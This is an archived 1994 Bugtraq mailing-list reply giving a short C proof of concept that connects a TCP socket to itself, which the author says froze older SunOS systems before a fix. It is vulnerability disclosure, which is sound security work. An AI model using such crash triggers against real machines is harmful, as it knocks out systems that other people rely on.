Bugtraq: Re: udp packet storms - ping death

[chowes () helix net (Charles Howes)]

On Fri, 4 Nov 1994, Paul O'Donnell wrote:
> Charles Howes reckons:
  *Red-face-causing example deleted*

> Hmmm, I get
>
> mkdir: bar: No such file or directory
>
> SunOS 4.1.3
I know, I should've tested it again.
The only other bug I have has been fixed on the latest versions of
SunOS (or so someone else tells me), but earlier versions froze solid:

(Dear code: Please, oh please crash something somewhere.  Death by
embarrassment is just too awful to contemplate.)

It used to crash SunOS, I *definitely* tested it about a year ago, and
this particular bug seems to have been quashed in a timely fashion.
---
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
 
 
int
main(argc, argv)
        int argc;
        char* argv[];
{
        int fd;
        struct sockaddr_in addr;
 
        if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                perror("socket");
                return 1;
        }
 
        memset((char *) &addr, 0, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = htonl(INADDR_ANY);
        addr.sin_port = htons(3000);
 
        if (bind(fd, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
                perror("bind");
                return 1;
        }
 
        if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) ==
-1) {
                perror("connect");
                return 1;
        }
 
        printf("Ok.\n");
        return 0;
}

--
Charles Howes -- chowes () helix net
 Always tell the truth, then you make it the other bloke's problem! 
 - Sean Connery, 1971